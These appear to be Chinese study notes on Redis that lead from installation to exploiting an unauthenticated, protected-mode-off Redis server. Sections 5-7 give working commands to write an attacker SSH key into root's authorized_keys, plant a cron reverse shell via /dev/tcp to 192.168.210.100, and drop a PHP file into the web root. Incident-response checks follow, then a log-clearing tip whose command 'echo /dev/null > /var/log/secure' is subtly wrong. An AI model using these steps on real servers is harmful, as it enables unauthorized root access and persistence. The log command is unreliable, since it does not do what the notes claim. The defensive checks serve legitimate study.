1、简介
Reids是一个使用C编写的开源、支持网络、基于内存、可持久性的键值对存储数据库,是很流行的键值对存储数据库
2、redis安装
wget https://download.redis.io/releases/redis-6.2.6.tar.gz 下载redis服务
cd redis-6.2.6
yum install gcc -y
make
iptbales -nvL (后续补充iptables知识)
3、redis 关闭保护模式运行
./redis-server —protected-mode no
4、redis常用命令
- 获取备份路径
- config get dir
- 获取备份文件名
- config get dbfilename
- 设置备份路径
- config set dir /root/ (可以查看是否是root用户)
- 设置备份文件名
- config set dbfilename 文件名
- 设置键值对
- set keyname value
- 获取键值对
- get keyname
- 持久化(以特定格式保存到硬盘中去)
- save
5、Root运行redis(直接写入公钥)
ssh-keygen 用来生成ssh公钥认证所需的公钥和私钥文件10.10.200.8 系统跑的redis服务
用另一台主机10.10.11.50 跑 ssh-keygen 获取.ssh文件
将10.10.11.50的公钥id_rsa.pub 通过 nc 写入
nc 10.10.200.8 6379
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh key \n\n\n"
save
ssh -i id_rsa 10.10.200.8
6、root运行redis(写入crontab(cron存放路径:/var/spool/cron)
crontab 查看日志: tail -f /var/log/cronconfig set dir /var/spool/cron/
config set dbfilename root
set 1 "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.210.100/100 0>&1\n\n\n"
save
7、低权限运行redis
yum install httpd php 安装apache服务
在网站根目录/var/www/html 创建一个test文件夹,给他apache权限(chown apache. test/)
给test用户权限,在test用户起redis服务。
访问 ip/test/1.phpconfig set dir /var/www/html/test
config set dbfilename 1.php
set 1 "<?php phpinfo()?>"
save
8、低权限运行redis(写入key)
authorized_keys要求权限是600,redis save之后是644,root用户可以正常执行,普通用户是无法执行的。
- save
8、对redis进行应急响应
ps aux |grep redis 查看redis的运行用户
cd /root/.ssh 查看authorized_keys
cd /home/test/.ssh 查看普通用户的authorized_keys
cd /var/spool/cron 查看crontab的定时任务
tail -f /var/log/cron 查看crontab的日志信息
grep ssh /var/log/secure 查看如果获得普通用户权限,进行ssh连接记录
9、拓展攻击(很多内网环境的redis是没有密码的,root下跑的)
补:
/var/log/secure 这个文件是记录服务器登陆行为的。那个文件如果很大,说明有人在破解你的root密码(一般是SSH暴力破解),可以通过这个日志查到对方的IP,每次登陆,无论密码对错都会被详细记录下来,所以文件会很大,解决办法是在/etc/hosts.deny 文件中加入IP,服务器就会拒绝这个IP的SSH登陆,语法:
sshd:IP
如果对方频繁换IP,可以用一些工具,如DenyHosts,可以自动将频繁输错密码的IP加入hosts.deny文件。具体安装和设置方法网上有。
另外/var/log/secure 文件是可以清空的,用这个命令:
echo /dev/null > /var/log/secure
如果这个文件很大,可以先清空,等有了新数据再查看。